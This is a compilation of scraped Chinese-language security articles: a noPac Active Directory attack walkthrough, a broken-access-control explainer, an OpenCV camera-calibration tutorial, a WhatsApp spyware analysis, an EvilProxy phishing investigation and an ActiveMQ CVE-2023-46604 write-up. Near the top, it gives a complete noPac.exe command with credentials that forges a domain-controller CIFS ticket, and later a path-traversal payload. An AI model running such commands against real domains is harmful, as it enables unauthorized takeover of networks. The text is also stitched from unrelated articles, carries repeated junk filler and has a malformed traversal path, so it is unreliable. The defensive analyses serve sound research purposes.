MwOTA1MDgyNjMwWqYRGA8yMDIzMDkwNTE4MjYzMFqnERgPMjAyMzA5MTIwODI2MzBaqAsbCVZWVlYxLkNPTakeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29t

c05pqi2w0kg12502.png

xicnusnyx4412503.png

验证成功。

drzrljmivtz12505.png

另外其他工具的方法可以参考如下链接。

https://blog.csdn.net/weixin_44747030/article/details/127158385

使用noPac.exe

将编译好的noPac.exe上传到普通域用户 的主机,执行以下命令,创建一个名为NOPAC1的机器账户,获得一个针对域控的CIFS服务的票据,并将该票据传递到内存中。

noPac.exe -domain vvvv1.com -user man1 -pass User!@#45 /dc ad-2016.vvvv1.com /mAccount NOPAC1 /mPassword User!@#45 /service cifs /ptt

pqzrbzx1pke12506.png

eqjxut5wp0d12508.png

注意,如果该机器账户名已存在,则会报错。

3erdm2wysyq12509.png


转账自原文链接地址: https://forum.butian.net/share/3680

失效的訪問控制這個漏洞類別一直躋身OWASP Top Web應用程序安全風險列表,目前已對應用程序安全構成了嚴重的挑戰。

訪問控制漏洞讓用戶可以訪問敏感數據,並使他們能夠執行超出預期權限的操作,此類漏洞的後果可能導致數據洩露、篡改甚至銷毀。

本文將討論為什麼即使在漏洞掃描和評估之後失效的訪問控制漏洞仍然常常存在,以及手動滲透測試對於有效檢測和緩解的重要性。

什麼是訪問控制?訪問控制如同一種授權檢查,確保對資源的訪問和執行操作的能力授予了某些用戶(如管理員),而不是其他用戶(如普通用戶)。這種檢查主要在身份驗證過程之後執行。

在Web應用程序安全中,訪問控制與內容、功能的預期用途以及用戶扮演的各種角色密切相關。比如說,這可能包括阻止低權限用戶執行管理員功能、阻止用戶訪問另一用戶的資源,或者基於上下文因素授予或拒絕對資源或功能的訪問。

在處理包含大量用戶角色和功能的大型複雜應用程序時,正確實施訪問控制很快會變得困難重重。

什麼是失效的訪問控制?失效的訪問控制顧名思義是訪問控制沒有按預期工作,這實際上與我們上面提到的恰好相反,後面附有一些詳細的例子。

不安全的直接對象引用(IDOR)以允許普通用戶查看和編輯帳戶信息的應用程序為例。每個帳戶被分配了一個用戶ID,編輯請求被發送後,應用程序根據請求中所含的ID確定要更新哪個帳戶。在這種場景下,攻擊者可以通過將用戶ID改為受害者的ID來操縱旨在更新帳戶的出站請求。

如果沒有實施適當的訪問控制,受害者的帳戶將收到編輯——這是直接影響完整性的IDOR漏洞。假設攻擊者更改了受害者的電子郵件地址,隨後提出了重置密碼請求,這將允許他們設置一個新密碼,最終接管受害者的帳戶。

以下是失效的訪問控制這個話題常出現的另兩個術語:水平特權升級和垂直特權升級。

1. 水平特權升級水平特權升級指以類似權限獲得對另一個帳戶資源的訪問。在前面例子中,如果受害者帳戶擁有與攻擊用戶(即普通用戶)相似的權限,它也叫水平特權升級。簡而言之,除了可以訪問另一個帳戶的資源外,攻擊者並不獲得任何額外的權限。

2. 垂直特權升級垂直特權升級指以更大的權限獲得對另一個帳戶資源的訪問。在前面例子中,如果受害者帳戶擁有更高的權限(比如管理員),這就叫垂直特權升級。攻擊者可以濫用額外的權限對應用程序進行進一步的攻擊。

路徑/目錄遍歷以允許用戶借助內置預覽器功能查看發票的應用程序為例。發票存儲在託管應用程序的同一台服務器上,位於以下絕對路徑:

/var/www/html/vulnerable-application/invoices/

當用戶點擊其配置文件下顯示的其中一張發票時,將發送以下請求:

2.png

圖1. 檢索發票的合法請求

預覽器的工作原理是將“file”參數的值附加到特定的絕對路徑。然後,它將檢索該文件的內容,然後返回給請求用戶。

/var/www/html/vulnerable-application/invoices/invoice-2024-12-24.pdf

然而與IDOR場景一樣,攻擊者也可以在這裡截獲出站請求,將“file”參數修改為不打算檢索的文件。

3.png

圖2. 試圖檢索非預期文件的已被修改的請求

如果沒有實施適當的訪問控制,預覽器現在將嘗試檢索:

/var/www/html/vulnerable-application/invoices/./././././etc/hosts

點-點-斜杠(./)序列回退路徑中的一個目錄(遍歷到父目錄)。我們有五個這樣的序列,這意味著最後將出現在文件系統的根路徑(/)。我們由此進入etc目錄,我們從該目錄請求hosts文件。

現在,hosts文件(將主機名映射到IP地址的默認文件)很可能不是攻擊者的首選。我們在這裡使用它只是為了展示在應用程序目錄之外檢索文件(又叫本地文件包含)的可能性。攻擊者會改而嘗試檢索應用程序目錄內外的敏感文件。

無法升級?那就降級!我們將通過客戶評估的真實例子來說明。該應用程序具有多個用戶角色,所有角色似乎精心設置,並適當隔離。由於實施了大量的訪問控制,所有試圖提升普通用戶的特權、訪問非預期資源以及執行特權操作的活動一律被阻止。

然而我們在全面分析各種用戶角色之後注意到了一處差異。針對上下文,某些角色可以編輯和刪除其他用戶的帳戶,但只能對權限較低的帳戶執行此操作,擁有這些權限的用戶也不能對自己的帳戶執行這些操作。為任何高權限用戶分配低權限角色的可能性被忽視,實際上刪除了所有權限,對帳戶進行了降級。從技術上講,這些被降級的帳戶現在滿足被權限較低的帳戶編輯和刪除的條件。

4.png

圖3. 落實了防止權限升級的訪問控制,但沒有落實防止權限降級的訪問控制

由於正確實施訪問控制的難度隨應用程序的複雜性而加大,識別訪問控制問題的難度也隨之加大。若要檢測這些控制,手動安全測試是最好的方法,因為它需要更深入地了解上下文和應用程序的預期用途。

漏洞掃描的局限性漏洞掃描器是識別應用程序中缺陷的一種流行解決方案。然而,僅僅依賴它們會給應用程序的所有者帶來一種虛假的安全感,雖然這些掃描器可以持續快速地提供掃描結果,但在檢測新穎的攻擊途徑或需要直覺和推理的其他漏洞方面的能力有限。

為了進一步闡明這點,不妨將訪問控制漏洞與另一個複雜性相似、需要人工推理的常見漏洞:業務邏輯漏洞進行比較。

當應用程序的設計、實施或內部流程偏離預期用途時,就會出現業務邏輯漏洞,一些獨特而常見的例子包括訂購負數量的產品或多次兌換相同的折扣碼。

漏洞掃描器的局限性變得很明顯,掃描器無法識別應用程序的預期行為。從它的角度來看,負數仍然是數字,重複使用某個功能未必是壞事。與跨站腳本(XSS)和SQL注入等其他漏洞不同,掃描器無法簡單地在這裡提供輸入,然後在應用程序的響應中查找預定義的模式,以確定是否存在漏洞。

從進攻性安全的角度來看,從失效的訪問控製或業務邏輯類別中捕獲漏洞需要對應用程序具有相同的認識和上下文理解,在許多情況下也存在相當大的重疊。比如,在評估文件上傳功能時,一個測試用例可能是在只允許圖像文件的情況下,上傳一個意外的文件類型,比如包含JavaScript載荷的SVG文件,雖然SVG滿足廣泛的圖像標準,但其含有的JavaScript不易被受害者的瀏覽器解析。

在實際場景中,還會增加權限、角色、外部集成、第三方庫和依賴項等形式的額外複雜性,而漏洞掃描器幾乎不可能確定這種針對特定上下文的複雜性。

5.png

圖4. 訪問控制的複雜性

高質量圖像對於包括安全和車載攝像系統在內的各種解決方案以及開發和訓練用於圖像處理任務的機器學習算法至關重要。

然而,物理相機傳感器經常會導致照片失真。這些扭曲會顯著降低圖像質量,甚至使您的解決方案無法處理圖像。

在本文中,我們將探討什麼是圖像失真以及消除它們的重要性。我們還展示瞭如何使用OpenCV 修復圖像失真。本文對於致力於具有圖像處理功能的IT 解決方案、想要了解有關修復圖像失真的更多信息的企業和開發團隊將有所幫助。

什麼是圖像失真?它們如何影響您的解決方案的性能?圖像失真通常是圖形圖像與其現實原型的不成比例、不充分的偏差。例如,現實生活中的直線或平行線可能會出現變形或不自然的彎曲。另一個例子是與照明相關的扭曲,例如當顏色朝圖像邊界變暗時,類似於漸暈。

並非所有的扭曲都是不利的。例如,您可能希望在使用廣角鏡頭拍攝的圖像中保留特定的畸變,以突出顯示前景和背景之間的距離。

然而,通常情況下,您需要相機來拍攝精確的圖像。對於某些技術來說,獲得零失真的圖像至關重要。

1701422944707.png

確保圖像無失真對於開發機器學習(ML) 解決方案和訓練人工智能(AI) 網絡執行圖像處理任務極其重要。

訓練數據集必須一致(相似的示例必須具有相似的標記)且統一(所有屬性的值必須在所有數據中具有可比性)。質量差的數據集會降低人工智能算法訓練過程的效率。

在某些情況下,可以故意將扭曲的圖像放置在數據集中。例如,您可能想要訓練算法來處理由具有不同失真的不同相機拍攝的圖像。然而,如果來自不同相機的圖像在扭曲的形式和程度方面存在顯著差異,那麼將此類圖像包含在一個數據集中將破壞一致性和均勻性要求。因此,不可能有效地訓練人工智能算法來提供所需的結果。

圖像質量對於使用計算機視覺和增強現實(AR) 技術的軟件也至關重要。

假設您正在使用一個複雜的解決方案,該解決方案使用兩個或更多相機從不同角度拍攝照片。您可能需要組合多個圖像才能接收三維圖像,就像車輛360 度攝像頭系統中使用的圖像一樣。或者您可能希望通過拼接多張照片來擴展視圖,以生成整個場景的高分辨率全景圖像。如果不校準(切除)相機傳感器,連接圖像之間的拼接將是可見的。

要解決這些問題,您需要修復圖像失真。在討論如何做到這一點之前,我們先簡要探討一下此類扭曲的常見類型。

圖像失真的類型為了有效地校正圖像,首先必須了解您正在處理什麼類型的失真。圖像畸變有兩種類型:徑向畸變和切向畸變。

當光學傳感器與光學透鏡成角度放置時,會發生切向畸變。

image.png

以下是拍攝方形物體時切向畸變如何工作的示例:

image.png

徑向畸變是指從圖像中心到邊緣的線條曲率,反之亦然。徑向畸變分為三種類型:

1.當圖像放大率隨著距光軸的距離而減小時,就會出現桶形畸變。

2.當圖像放大倍數隨著距光軸的距離而增加時,就會出現枕形畸變。

3.小鬍子失真(也稱為波形失真)比前兩種類型發生的情況要少得多,並且本質上是它們的混合。鬍鬚畸變開始時是靠近圖像中心的桶形畸變,並逐漸變成朝向圖像外圍的枕形畸變。

徑向畸變的類型取決於鏡頭的類型和形狀——鏡頭越彎曲,最終圖像中的線條越彎曲。讓我們比較一下輸入網格在沒有失真的情況下與使用導致不同類型徑向失真的鏡頭拍攝時的樣子:

image.png

考慮到這一點,我們來討論如何消除圖像失真。

如何修復圖像扭曲一些現代相機具有先進的鏡頭系統,旨在最大限度地減少最終圖像的失真;然而,他們無法完全消除它們。不太先進的相機可以提供有關需要進行哪些更改才能消除失真的信息。

而通常用於開發定制設備的最簡單的相機則不具備這些功能。要修復失真,您首先需要根據傳感器的實際實驗確定必要的更改。

簡單的傳感器很普遍,因為它們批量生產的成本低廉。即使一個傳感器的設計存在微小差異,也會顯著提高整批傳感器的價格。

如果您的相機鏡頭產生圖像失真該怎麼辦?

拍攝圖像後,您可以使用編程方法修復失真。這樣,您可以為特定相機創建算法,並使用該算法自動修復該相機拍攝的所有圖像的扭曲。

要創建可以檢測和修復圖像失真的算法,您可以使用以下工具:

马云惹不起马云開放CV。一個開源計算機視覺和機器學習軟件庫,擁有2,500 多種優化算法。您可以使用這些算法來拼接圖像、檢測和識別人臉、識別物體、跟踪移動物體、提取物體的3D 模型等。 OpenCV 庫為計算機視覺解決方案提供了通用基礎設施,有助於加速機器感知在商業中的使用產品。

马云惹不起马云四月標籤。一種視覺基準系統,可用於不同的任務,包括增強現實、機器人和相機校準。 AprilTag 庫旨在輕鬆包含在其他應用程序中,以及移植到嵌入式設備。

马云惹不起马云計算機視覺工具箱。商業工具集,提供用於設計和測試計算機視覺、3D 視覺和視頻處理系統的算法、函數和應用程序。它還允許您自動執行單鏡頭、立體和魚眼相機的校準工作流程。

马云惹不起马云ShiftN。自動鏡頭畸變校正軟件特別適用於建築圖像。首先,ShiftN 搜索圖像中的直線和邊緣,並考慮那些足夠垂直的可能的建築元素。然後,軟件運行一個優化過程,嘗試確定透視,校正圖像,使線條平行。

在本文中,我們展示了一個使用OpenCV 確定和修復圖像失真的實際示例,因為該庫具有豐富的圖像處理功能並且可以免費使用。此外,我們在這方面擁有豐富的經驗。

如何使用OpenCV 庫識別和修復圖像失真OpenCV 是修復圖像失真的好工具。該庫提供了校正圖像和校準相機傳感器的廣泛功能。它支持各種相機型號,並涵蓋尋找畸變係數和修復畸變的不同方法。但首先,您需要知道如何使用OpenCV 識別圖像失真。

默認情況下,OpenCV 使用針孔相機模型。校準方法確定用於校準的模型以及將在模型上使用的標記。相機模型決定了計算相機矩陣的算法以及要使用的畸變係數的數量。讓我們定義這些術語:

马云惹不起马云相機矩陣是將點從三維場景映射到二維圖像的數學模型,在使用畸變係數修復相機畸變時使用。

马云惹不起马云畸變係數描述圖像中的某些畸變。失真越複雜,描述和消除它們所需的係數就越多。 OpenCV 可以計算最多六個徑向失真係數和最多兩個切向失真係數。

現在,讓我們嘗試確定使用OpenCV 針對特定傳感器檢測和消除圖像失真所需的係數。

image.png

1. 生成相機標定模型用於相機校準的模型(也稱為板)分為三種類型:

1.Chessboard

2.ArUco board

3.ChArUco board, which combines Chessboard and ArUco

它們是這樣的:

image.png

對於我們的示例,我們使用ChArUco 板,因為與標記角相比,它的角要準確得多。

要在OpenCV 中生成ChArUco 板,請使用以下代碼:

image.png

結果,您將收到以下模型:

image.png

2. 打印出實體模型並拍幾張照片您使用要校準的相機傳感器拍攝的照片越多,並且板在不同圖像中的放置越多樣化,您能夠計算的係數就越準確。

假設您收到以下圖像並發現您的傳感器導致徑向失真:

image.png

接下來,將接收到的圖像上傳到cv:Mat inImag變量。

3. 檢測圖像中的ArUco標記要檢測ArUco 標記,請對每個圖像使用以下代碼:

image.png

結果,ArUco 標記的角點坐標和標記的ID 將記錄在corners和ids變量中。以下是找到的標記在圖像中的樣子:

image.png

4. 檢測圖像中的ChArUco 標記使用檢測到的ArUco 標記來查找ChArUco 標記,代碼如下:

image.png

檢測到的ChArUco 標記如下所示:

image.png

正如您所看到的,ChArUco 標記位於ArUco 標記之間的角落(這就是我們需要首先找到ArUco 標記的原因)。

5. 校準相機以確定畸變係數並構建相機矩陣找到ChArUco 標記的邊緣和ID 後,您就可以開始校準相機:

repError=aruco:calibrateCameraCharuco(allCharucoCorners,allCharucoIds,charucoboard,imgSize,cameraMatrix,distCoeffs,rvecs,tvecs,calibrationFlags);運行上面的代碼後,您將得到:

马云惹不起马云 填充後的圖像矩陣(cameraMatrix)

马云惹不起马云畸變係數(distCoeffs)

马云惹不起马云旋轉向量(rvecs)

马云惹不起马云平移向量(tvecs)

現在您知道了失真係數,您可以開始使圖像不失真。

6.修復變形要修復OpenCV 中的徑向畸變,您只需要圖像矩陣和畸變係數:

image.png

不失真inputImage函數使用校準期間找到的係數(cameraMatrix和)來修復圖像失真( )distCoeffs。最終圖像記錄在outputImage中。

與上面提到的所有其他函數一樣,非扭曲函數默認使用針孔相機模型。對於其他相機模型,OpenCV 具有類似的功能,用於識別圖像中的標記、校正圖像和消除失真。當使用其他相機型號時,包含失真係數的矩陣的數量和格式可能會有所不同。因此,您不應該同時使用不同相機型號的函數,因為這會導致OpenCV 運行出現錯誤。

對於使用已校準的傳感器拍攝的所有圖像,您檢測到的畸變係數將是正確的,而不僅僅是用於校準的那些圖像。這使您可以校準相機一次,然後使用為之後拍攝的所有圖像確定的係數。

以下是修復圖像失真之前和之後圖像的示例:

image.png

如果您正在處理特別複雜的圖像扭曲,您可能需要嘗試另一種更準確的方法來查找圖像上的ChArUco 標記:

马云惹不起马云查找ArUco 標記

马云惹不起马云準備ArUco 標記以進行相機校準

马云惹不起马云校準相機以獲得畸變係數和圖像矩陣

马云惹不起马云使用接收到的係數和矩陣來插值ChArUco 標記

為了確保ChArUco 標記的插值,請使用以下代碼:

aruco:interpolateCornersCharuco(corners,ids,image,charucoBoard,charucoCorners,charucoIds,cameraMatrix,distCoeffs);在圖像失真複雜的情況下,這要準確得多。它可以顯著提高標記檢測的準確性,但需要更多時間。

您可以使用重投影誤差值來評估標記檢測的準確性,您可以在調用該aruco:calibrateCameraCharuco函數後看到該值。校準相機時,最好使用重投影誤差值不超過一定限制的圖像。您可以決定您的算法可接受的錯誤限制是多少。通常,它是1 到3 之間的值。

如果重投影誤差值超出您的限制,則無法使用此類圖像進行相機校準。如果您最終由於這種原因排除了太多圖像,請考慮使用第二種方法查找標記。

您可以在Apriotit GitHub 頁面上找到本文中使用的示例的完整代碼。

注意:校準傳感器和修復失真的方法比我們在本文中描述的方法要多。您還可以使用:

马云惹不起马云OpenCV 提供的其他功能。例如,您可以嘗試ArUco 校准或配置魚眼和全向相機等相機型號的設置。

马云惹不起马云替代工具,例如AprilTag 或Computer Vision Toolbox。

沒有一種靈丹妙藥可以完美適用於所有傳感器。要選擇最合適的相機校準方法,請考慮特定傳感器的具體情況以及鏡頭的配置和形式。

結論OpenCV 是一個強大的圖像校正工具,在本文中,我們只解決了它的一小部分功能。一般來說,OpenCV 適合大多數情況,並且允許您顯著改善圖像的幾何形狀和質量,而無需使用複雜的鏡頭和傳感器。

sl-green-eye-binary-spyware-1200-1200x600.jpg

一些流行的即時通訊服務經常會缺乏某些自定義功能,為了解決這個問題,第三方開發者會開發出一些mod(修改或增強程序),來提供一些受歡迎的功能。但其中一些mod在提供增強功能的同時也會加入一些惡意軟件。去年,卡巴斯基實驗室的研究人員在WhatsApp的一個mod中發現了Triada木馬。最近,他們又發現了一個嵌入間諜mod的Telegrammod,可通過Google Play傳播。

WhatsApp現在的情況與此相同:研究人員發現幾個之前無害的mod包含一個間諜mod,他們將該mod檢測為Trojan-Spy.AndroidOS.CanesSpy。

間諜mod是如何運行的?研究人員將通過80d7f95b7231cc857b331a993184499d示例來說明間諜mod的工作過程。

木馬化的客戶端清單包含在原始WhatsApp客戶端中找不到的可疑組件(服務和廣播接收器)。廣播接收器偵聽來自系統和其他應用程序的廣播,例如手機開始充電,收到的文本消息或下載程序完成下載;當接收方收到這樣的消息時,它調用事件處理程序。在WhatsApp間諜mod中,當手機開機或開始充電時,接收方會運行一項服務,啟動間諜mod。

1.png

可疑的應用組件

該服務查看惡意軟件代碼中的Application_DM常量,以選擇受攻擊設備將繼續聯繫的命令與控制(CC)服務器。

2.png

選擇命令和控制服務器

當惡意植入啟動時,它會沿著路徑/api/v1/AllRequest向攻擊運營商的服務器發送包含設備信息的POST請求。這些信息包括IMEI、電話號碼、移動國家代碼、移動網絡代碼等。該木馬還請求配置細節,例如上傳各種類型數據的路徑、向CC請求之間的間隔等。此外,該mod每五分鐘傳送一次有關受害者聯繫人和賬戶的信息。

3.png

在設備信息成功上傳後,惡意軟件開始以預先配置的間隔(默認為一分鐘)向CC詢問指令,開發人員稱之為“命令”。下表包含惡意軟件用於向服務器發送響應的命令和路徑的詳細描述:

4.png

發送到指揮控制服務器的信息引起了研究人員的注意,它們都是阿拉伯語,這表明開發者會說阿拉伯語。

WhatsApp間諜mod的攻擊目標在發現WhatsAppmod中的間諜mod後,研究人員決定找出它們是如何傳播的。分析發現,Telegram是主要來源。研究人員發現了一些Telegram通道,主要是阿拉伯語和阿塞拜疆語,其中最受歡迎的節目就有近200萬訂閱者。研究人員提醒Telegram,這些通道被用來傳播惡意軟件。

5.png

在從每個通道下載最新版本的mod (1db5c057a441b10b915dbb14bba99e72, fe46bad0cf5329aea52f8817fa49168c, 80d7f95b7231cc857b331a993184499d)後,研究人員發現它們包含上述間諜mod,這驗證了假設。

鑑於惡意軟件組件不是原始mod的一部分,研究人員檢查了幾個最近的版本,並確定了第一個被攻擊的版本。根據調查結果,該間諜軟件自2023年8月中旬以來一直活躍。在撰寫本文時,自那時以來在通道上發布的所有版本都包含惡意軟件。然而,後來(如果根據APK中的時間戳判斷,大約在10月20日左右),至少一個通道中的至少一個最新版本被替換為一個乾淨的版本。

6.png

受攻擊應用程序中的DEX時間戳(左)和未攻擊版本中的DEX時間戳(右)

除了Telegram渠道,受攻擊的mod還通過各種可疑的網站傳播,這些網站專門用於修改WhatsApp。

新型WhatsApp間諜軟件的攻擊範圍10月5日至31日期間,卡巴斯基安全解決方案在100多個國家發現了34萬多次由WhatsApp間諜mod發起的攻擊。不過,如果考慮到傳播渠道的性質,實際安裝數量可能會高得多。攻擊次數最多的五個國家是阿塞拜疆、沙特阿拉伯、也門、土耳其和埃及。

7.png

按發現的WhatsApp間諜mod攻擊次數排名的前20個國家

總結研究人員看到包含惡意軟件代碼的即時通訊應用mod數量有所增加。 WhatsApp的mod大多是通過第三方Android應用商店傳播的,這些應用商店往往缺乏篩選,無法清除惡意軟件,其中如第三方應用商店和Telegram通道,很受歡迎。但為避免丟失個人數據,建議只使用官方即時通訊客戶端;如果用戶需要額外的功能,建議使用一個可靠的安全解決方案,可以檢測和阻止惡意軟件,以防被mod攻擊。

最近發現的網絡釣魚活動,涉及攻擊者發送包含DRACOON.team鏈接的社交工程電子郵件。 DRACOON.team是一個以安全數據存儲、管理和文件共享功能而聞名的文件共享解決方案。當受害者被誘騙訪問電子郵件中的鏈接時,他們會收到一份託管在DRACOON上的PDF文檔。該文檔包含一個輔助鏈接,將受害者引導到攻擊者控制的服務器,該服務器模擬了Microsoft 365登錄門戶,並充當反向代理竊取受害者的登錄信息和會話cookie。

這些被盜的憑據和cookie可以用來繞過多因素身份驗證(MFA),攻擊者控制的反向代理充當介於目標和合法身份驗證終端(如Microsoft 365登錄頁面)之間的中間服務器。當受害者與虛假登錄頁面交互時,反向代理顯示真正的登錄表單,管理傳入請求,並傳遞來自合法Microsoft 365登錄頁面的響應。

當用戶在頁面上輸入受害者憑據後,可以立即觀察到使用Microsoft 365的登錄活動。該活動包括自動訪問受害者的郵箱,並進一步傳播初始網絡釣魚郵件,這些電子郵件包含用於欺騙受害者的相同鏈接,並發送到存儲在其地址簿中的聯繫人。

反向代理功能被認為與EvilProxy網絡釣魚套件有關。但是,這裡討論的最近的活動不使用重定向。相反,它使用中間鏈接到包含到攻擊者控制的基礎設施鏈接的文件。這種新方法可以繞過電子郵件安全緩解措施,因為初始鏈接似乎來自合法來源,並且沒有文件被傳遞到受害者的終端,因為包含該鏈接的託管文檔可以通過瀏覽器中的文件共享服務器與之交互。

1.png

憑證獲取事件鏈

針對這些事件,有關安全團隊已經掃描並刪除了其服務託管的潛在網絡釣魚附件。此外,被認定負責上傳附件的賬戶已被標記為違反其服務條款而被刪除。

調查釣魚郵件網絡釣魚郵件來自受害者的供應商,該供應商為他們提供特定的商品和服務。我們懷疑供應商組織內的一名用戶的電子郵件遭到攻擊,並被用來向受害者發送網絡釣魚郵件。

下圖顯示了受害者收到的釣魚電子郵件樣本的截圖,該郵件巧妙地偽裝成了一份採購訂單,它在文檔鏈接的標題中包含了供應商的名稱,使其更加合法。

2.jpg

釣魚郵件截圖

該鏈接將用戶重定向到以下URL:

https[:]//dracoon[.]team/public/download-shares/RjqetKkzebun7rB6OWWI3kPcpZ3RruPA

這個重定向的鏈接指向一個存放在Dracoon(德國企業高度安全數據交換平台)網站上的公開共享的PDF文件,用戶可以直接與PDF文件交互,而無需下載它,這樣就減少了存儲在磁盤上的可追踪證據。

3.png

Dracoon託管PDF文件,該文件包含到攻擊者控制的反向代理服務器的鏈接

點擊鏈接將用戶重定向到一個虛假的Microsoft 365頁面,該頁面充當Microsoft 365登錄請求的反向代理,在此過程中促進了用戶憑證的盜竊。通過URL可以識別,該網站明顯是在冒充微軟365登錄頁面,合法的微軟365登錄頁面應該是https://login.microsoftonline.com/。

4.jpg

在攻擊者控制的反向代理服務器上託管的Microsoft 365登錄頁面截圖

在檢查登錄頁面的頁面源時,有一個對名為myscr759609.js的JavaScript文件的引用,該文件包含一組數學函數和算術運算。

5.png

查看虛假登錄頁面源數據

6.jpg

myscr759609.js(檢測為Trojan.HTML.PHISH.QURAAOOITB)的內容,其中包含算術和數學函數

當使用Node.js在本地執行時,myscr759609.js被解混淆,顯示如下圖所示的HTML代碼。 HTML內容清楚地表明myscr759609.js負責憑證收集、記錄這些憑證,然後通過POST請求將收集到的信息上傳到未公開的網頁。

7.jpg

解混淆後的JavaScript,檢測為trojan . html . phish . quraaooithb

通過檢查Microsoft 365登錄事件和MFA日誌,我們可以確認反向代理212.83.170.137的存在,正如設備登錄事件列表和相應的登錄位置所證明的那樣。通過交叉引用趨勢科技Vision One的數據和微軟365登錄事件,我們成功地確定了需要立即關注的賬戶。

8.jpg

檢查Microsoft 365登錄事件

此外,MFA事件還提供了有關受攻擊賬戶的寶貴信息。通過將用戶與釣魚頁面交互的時間戳與mfalog中記錄的時間戳進行比較,這些數據使我們能夠調查用戶是否在無意中洩露了他們的憑據。

9.jpg

檢查MFA認證日誌

基於趨勢管理的擴展檢測和響應(MxDR)的調查使用Vision One後,事件序列變得顯而易見。從截圖中可以明顯看出,這封釣魚郵件是發送到一個微軟Outlook賬戶的,用戶接著點擊了嵌入的鏈接,鏈接將他們重定向到Dracoon服務上的PDF文件。

10.jpg

通過Vision One檢查一系列事件

PDF文件包含一個附加鏈接,將用戶引導到反向代理憑證收集頁面,如下圖中的事件所示:託管在Dracoon服務上的文檔既可以下載,也可以通過服務內置的PDF查看器進行交互,它允許用戶通過瀏覽器與文檔進行交互。

11.jpg

通過Vision One檢查一系列事件

評估網絡釣魚攻擊的影響在事件響應中至關重要,這為了解組織中受影響帳戶的範圍提供了有價值的線索。經過分析,我們能夠徹底確定網絡釣魚電子郵件的收件人和那些與網絡釣魚鏈接交互的人。

此外,我們的調查還揭示了這次網絡釣魚活動中使用的一系列額外的Dracoon鏈接。這些鏈接還冒充微軟365,目的是竊取憑證並使用會話cookie繞過MFA。

安全建議MFA經常被稱讚為防止憑證盜竊和未經授權訪問的強大防禦。雖然它是一個強大的安全工具,但要認識到,當涉及到保護在線帳戶和敏感信息時,MFA並不是靈丹妙藥。

當考慮到像EvilProxy攻擊這樣的威脅時,MFA的局限性就變得很明顯了,這些攻擊者可以攔截和操縱網絡流量,有效地繞過MFA提供的附加安全層。

託管的PDF文件為攻擊者提供了規避電子郵件安全措施的有效手段。通過濫用合法的文件共享服務,攻擊者能夠在逃避檢測的同時顯著提高他們的成功率,合法服務通常可以繞過大多數現有的安全措施,使它們成為攻擊者的誘人工具。

來自已知或可信發件人的電子郵件並不能保證它們完全合法,用戶在點擊鏈接或下載附件時必須保持警惕和謹慎,即使是來自可信來源。

定期進行安全意識培訓和全面的培訓,對用戶進行安全意識教育。通過提供詳細的信息和實用的指導,用戶可以深入了解潛在的風險以及如何緩解風險。此外,有必要強調在訪問目標url之前驗證其合法性的重要性。

我們不應假設所有網址都是安全的,而應鼓勵用戶謹慎行事,並採用可靠的方法來確認所訪問網站的真實性和安全性,定期進行網絡釣魚攻擊模擬演習是提高員工意識的最佳方法。

實現防網絡釣魚MFA,通過實現能夠抵禦網絡釣魚攻擊的MFA方法(例如使用YubiKey等設備的基於fido的身份驗證或無密碼MFA),組織可以顯著加強其身份驗證過程並防止憑證被盜。

電子郵件安全,組織可以通過實施電子郵件安全解決方案來保護員工和用戶免受惡意電子郵件的威脅。實現基於域的消息認證、報告和一致性(DMARC)、發件人策略框架(SPF)和域密鑰識別郵件(DKIM)也將增強電子郵件的安全性。

持續監控,強烈建議建立一個強大的持續監控系統,集中收集和密切監控日誌,特別是Microsoft 365訪問和MFA日誌,以便及時識別、調查和響應任何可疑的訪問活動。

我們發現利用Apache ActiveMQ漏洞CVE-2023-46604下載並攻擊Linux系統的Kinsing惡意軟件(也稱為h2miner)和加密貨幣礦工被利用時,此漏洞會導致遠程代碼執行(RCE), Kinsing使用它來下載和安裝惡意軟件。

該漏洞本身是由於OpenWire命令未能驗證未經檢測類類型而導致RCE。

ActiveMQ(用Java編寫)是一個由Apache開發的開源協議,它實現了面向消息的中間件(MOM)。它的主要功能是在不同的應用程序之間發送消息,還包括STOMP、Jakarta Messaging (JMS)和OpenWire等附加特性。

Kinsing惡意軟件是一種主要針對基於linux的系統的嚴重威脅,可以滲透服務器並在網絡中迅速傳播。它通過利用web應用程序或配置錯誤的容器環境中的漏洞進入。

最近,Kinsing背後的攻擊組織一直在利用CVE-2023-4911 (Looney Tunables)漏洞。一旦Kinsing攻擊了一個系統,它就會部署一個加密貨幣挖掘腳本,利用主機的資源來挖掘比特幣等加密貨幣,從而對基礎設施造成嚴重破壞,並對系統性能產生負面影響。

受影響的ActiveMQ版本以下是受CVE-2023-46604漏洞影響的Apache ActiveMQ版本:

Apache ActiveMQ 5.18.0 5.18.3之前的版本;

Apache ActiveMQ 5.17.0 5.17.6之前的版本;

Apache ActiveMQ 5.16.0 5.16.7之前的版本;

5.15.16之前的Apache ActiveMQ;

Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3;

Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6;

Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7;

Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16;

建議用戶將Java OpenWire代理和客戶機升級到版本5.15.16、5.16.7、5.17.6或5.18.3,因為其中任何一個版本都可以修復此漏洞。

CVE-2023-46604補丁差異基於AMQ-9370,我們能夠檢查漏洞出現的根本原因,與OpenWire命令解組時可拋出類類型驗證有關的問題。

OpenWire是一種二進制協議,專門設計用於處理面向消息的中間件。它充當ActiveMQ的本機連接格式,ActiveMQ是一個廣泛使用的開源消息傳遞和集成平台,與其他格式相比,OpenWire的二進制格式提供了幾個優勢,比如它對帶寬的有效利用以及支持多種消息類型的能力。這些特性使其成為需要可靠和高性能消息傳遞系統的企業和組織的理想選擇。

基於補丁差異,我們可以看到validateIsThrowable方法已經包含在BaseDataStreamMarshall類中。

1.png

validateIsThrowable方法包含在BaseDataStreamMarshall類中

2.png

無法驗證Throwable類的類類型

當編組器無法驗證Throwable (Java中表示異常和錯誤的對象)的類類型時,它可能會意外地創建並執行任何類的實例。這將導致RCE漏洞允許攻擊者在服務器或應用程序上執行任意代碼。因此,必須確保始終驗證Throwable的類類型,以防止潛在的安全風險。

檢測自11月初以來,已經出現了幾起活躍樣本。這些報告是關於積極利用CVE-2023-46604的攻擊者(例如HelloKitty勒索軟件家族背後的攻擊者),以及Metasploit和nucleus等概念驗證漏洞。考慮到CVE-2023-46604的CVSS評分為9.8,總體檢測率仍然很低。

基於Kinsing使用的漏洞,我們提供了一個可用於掃描的YARA規則:

3.png

